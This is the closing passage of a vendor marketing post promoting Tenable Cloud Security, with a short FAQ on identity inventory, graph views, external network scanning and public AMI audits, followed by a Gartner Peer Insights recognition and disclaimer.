   

 

Advance your security maturity

Maturing a cloud security program requires a shift from managing individual findings to understanding functional resilience. By unifying visibility, validating network reachability, and auditing identity, organizations build the foundation to manage exposure at scale. Tenable Cloud Security is the critical pillar of the Tenable One exposure management platform that provides these comprehensive CNAPP capabilities. Reflecting the real-world value delivered to users, Tenable was recently recognized as a 2025 Customers’ Choice in the Gartner® Peer Insights™ 'Voice of the Customer': Cloud-Native Application Protection Platforms (CNAPPs). 

Frequently Asked Questions

1. Which identity platforms are now included in the expanded inventory? Coverage has expanded beyond standard cloud providers to include Microsoft Entra ID and Google Workspace, providing visibility into the full "identity-to-data" path.
2. What is the primary technical advantage of the Explorer Graph view? It replaces isolated alerts with a visual map of asset relationships, helping teams visualize how a single vulnerability could impact adjacent resources.
3. How does the network scanner differ from standard configuration checks? It actively probes the environment from an external perspective to confirm service reachability – assessing exposure more accurately than static code analysis alone.
4. Why scan public AMIs? This ensures that third-party images, often used as base layers for workloads, are audited for vulnerabilities within the context of your specific security requirements.

Learn more:

• What is CTEM?
• Tenable Cloud Security
• Identify and secure AI workloads demo

Gartner, Voice of the Customer for Cloud-Native Application Protection Platforms, 24 December 2025, By Peer Community Contributor

Gartner and Peer Insights are trademarks of Gartner, Inc. and/or its affiliates. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.